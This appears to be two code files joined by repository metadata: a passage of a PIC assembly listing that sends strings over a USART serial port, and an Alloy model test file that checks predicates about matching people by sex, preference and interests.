$0366 $E102 BNZ L_main_9 $0368 $5000 MOVF STACK_0, 0, 0 $036A $5C33 SUBWF main_i_L0, 0, 0 $036C $ L_main_9: $036C $E20D BC L_main_1 ;part4.c,44 :: Usart_Write(text1[i]); // Sending data via USART $036E $5033 MOVF main_i_L0, 0, 0 $0370 $2427 ADDWF main_text1_L0, 0, 0 $0372 $6EE9 MOVWF FSR0L, 0 $0374 $5034 MOVF main_i_L0+1, 0, 0 $0376 $2028 ADDWFC main_text1_L0+1, 0, 0 $0378 $6EEA MOVWF FSR0L+1, 0 $037A $CFEE F035 MOVFF POSTINC0, FARG_Usart_Write+0 $037E $EC01 F001 CALL _Usart_Write ;part4.c,45 :: } $0382 $ L_main_2: ;part4.c,42 :: for (i=0;i<strlen(data[0]);i++) $0382 $4A33 INFSNZ main_i_L0, 1, 0 $0384 $2A34 INCF main_i_L0+1, 1, 0 ;part4.c,45 :: } $0386 $D7E3 BRA L_main_0 $0388 $ L_main_1: ;part4.c,46 :: Usart_Write(' '); $0388 $0E20 MOVLW 32 $038A $6E35 MOVWF FARG_Usart_Write+0, 0 $038C $EC01 F001 CALL _Usart_Write ;part4.c,47 :: text2 =data[1]; $0390 $C02F F029 MOVFF main_data_L0+2, main_text2_L0 $0394 $C030 F02A MOVFF main_data_L0+3, main_text2_L0+1 ;part4.c,48 :: for (i=0;i<strlen(data[1]);i++) $0398 $6A33 CLRF main_i_L0, 0 $039A $6A34 CLRF main_i_L0+1, 0 $039C $ L_main_3: $039C $C02F F035 MOVFF main_data_L0+2, FARG_strlen+0 $03A0 $C030 F036 MOVFF main_data_L0+3, FARG_strlen+1 $03A4 $ECE8 F000 CALL _strlen $03A8 $0E80 MOVLW 128 $03AA $1834 XORWF main_i_L0+1, 0, 0 $03AC $6E02 MOVWF STACK_2, 0 $03AE $0E80 MOVLW 128 $03B0 $1801 XORWF STACK_0+1, 0, 0 $03B2 $5C02 SUBWF STACK_2, 0, 0 $03B4 $E102 BNZ L_main_10 $03B6 $5000 MOVF STACK_0, 0, 0 $03B8 $5C33 SUBWF main_i_L0, 0, 0 $03BA $ L_main_10: $03BA $E20D BC L_main_4 ;part4.c,50 :: Usart_Write(text2[i]); // Sending data via USART $03BC $5033 MOVF main_i_L0, 0, 0 $03BE $2429 ADDWF main_text2_L0, 0, 0 $03C0 $6EE9 MOVWF FSR0L, 0 $03C2 $5034 MOVF main_i_L0+1, 0, 0 $03C4 $202A ADDWFC main_text2_L0+1, 0, 0 $03C6 $6EEA MOVWF FSR0L+1, 0 $03C8 $CFEE F035 MOVFF POSTINC0, FARG_Usart_Write+0 $03CC $EC01 F001 CALL _Usart_Write ;part4.c,51 :: } $03D0 $ L_main_5: ;part4.c,48 :: for (i=0;i<strlen(data[1]);i++) $03D0 $4A33 INFSNZ main_i_L0, 1, 0 $03D2 $2A34 INCF main_i_L0+1, 1, 0 ;part4.c,51 :: } $03D4 $D7E3 BRA L_main_3 $03D6 $ L_main_4: ;part4.c,52 :: text3 =data[2]; $03D6 $C031 F02B MOVFF main_data_L0+4, main_text3_L0 $03DA $C032 F02C MOVFF main_data_L0+5, main_text3_L0+1 ;part4.c,53 :: for (i=0;i<strlen(data[2]);i++) $03DE $6A33 CLRF main_i_L0, 0 $03E0 $6A34 CLRF main_i_L0+1, 0 $03E2 $ L_main_6: $03E2 $C031 F035 MOVFF main_data_L0+4, FARG_strlen+0 $03E6 $C032 F036 MOVFF main_data_L0+5, FARG_strlen+1 $03EA $ECE8 F000 CALL _strlen $03EE $0E80 MOVLW 128 $03F0 $1834 XORWF main_i_L0+1, 0, 0 $03F2 $6E02 MOVWF STACK_2, 0 $03F4 $0E80 MOVLW 128 $03F6 $1801 XORWF STACK_0+1, 0, 0 $03F8 $5C02 SUBWF STACK_2, 0, 0 $03FA $E102 BNZ L_main_11 $03FC $5000 MOVF STACK_0, 0, 0 $03FE $5C33 SUBWF main_i_L0, 0, 0 $0400 $ L_main_11: $0400 $E20D BC L_main_7 ;part4.c,55 :: Usart_Write(text3[i]); // Sending data via USART $0402 $5033 MOVF main_i_L0, 0, 0 $0404 $242B ADDWF main_text3_L0, 0, 0 $0406 $6EE9 MOVWF FSR0L, 0 $0408 $5034 MOVF main_i_L0+1, 0, 0 $040A $202C ADDWFC main_text3_L0+1, 0, 0 $040C $6EEA MOVWF FSR0L+1, 0 $040E $CFEE F035 MOVFF POSTINC0, FARG_Usart_Write+0 $0412 $EC01 F001 CALL _Usart_Write ;part4.c,56 :: } $0416 $ L_main_8: ;part4.c,53 :: for (i=0;i<strlen(data[2]);i++) $0416 $4A33 INFSNZ main_i_L0, 1, 0 $0418 $2A34 INCF main_i_L0+1, 1, 0 ;part4.c,56 :: } $041A $D7E3 BRA L_main_6 $041C $ L_main_7: ;part4.c,57 :: } $041C $D7FF BRA $
models/tests/test19.als
transclosure/Amalgam
4
303
module tests/test // Bugpost by <EMAIL> open util/integer as integer one sig JochemVanGelder extends Human{}{ sports in interests matchtype= Woman sex=Man } abstract sig Human { interests: set Interest , matchtype: set Sex, match: set Human, level: one KnowledgeLevel, age: one Int, sex: Sex } abstract sig KnowledgeLevel{} one sig dumb extends KnowledgeLevel{} abstract sig Interest{} one sig sports extends Interest {} abstract sig Sex{} one sig Man extends Sex{} one sig Woman extends Sex{} pred isGay(h:Human){ h.sex = h.matchtype } pred isStraight(h:Human){ h.sex !in h.matchtype } pred isBi(h:Human){ not isStraight[h] && not isGay[h] } fact { some h:Human | isBi[h] } pred couple(h1:Human,h2:Human){ /* don't date yourself */ h1 != h2 /* minimal 2 shared interest*/ && #(h1.interests & h2.interests) >= 2 /* match sexual preference */ && h1.sex in h2.matchtype && h2.sex in h1.matchtype /* ^ this does allow for a bisexual person to match with a straight */ /* Similar level of education (distinguish three levels).*/ && h1.level = h2.level } /* some man dating a Bi woman which is dating another woman */ /* or */ /* some woman dating a Bi man which is dating another man */ pred luckyMen(){ some h1,h2,h3:Human | isStraight[h1] && isBi[h2] && h2 in h1.match && h3 in h2.match && h3.sex in h1.matchtype } /* is there a chain of people liking eachother ? */ pred group{ some h:Human | h in h.^match } pred show(){} fun diff( n1,n2: Int) : Int{ int n1 > int n2 implies sub[ n1, n2 ] else sub[ n2, n1 ] } fun diff2( n1,n2: Int) : Int{ gte[ n1 , n2] implies sub[ n1, n2 ] else sub[ n2, n1 ] } assert vreemd{ all h:Human | h.match.sex in h.matchtype } check vreemd for 5 int expect 0 // Facts fact def{ all a:Human | /* someone should have atleast one prefered sex to date*/ #a.matchtype > 0 && /* Fill interests */ #a.interests >=2 && /* Basic age rules */ gte[a.age, Int [0] ] } fact def2{ /* Fill matches*/ all h1,h2:Human| couple[h1,h2] <=> h1 in h2.match /* && h2 in h1.match */ } run show for 3 int expect 0 run luckyMen for 3 int expect 0 run group for 3 int expect 0 run show for 2 int expect 0 run luckyMen for 2 int expect 0 run group for 2 int expect 0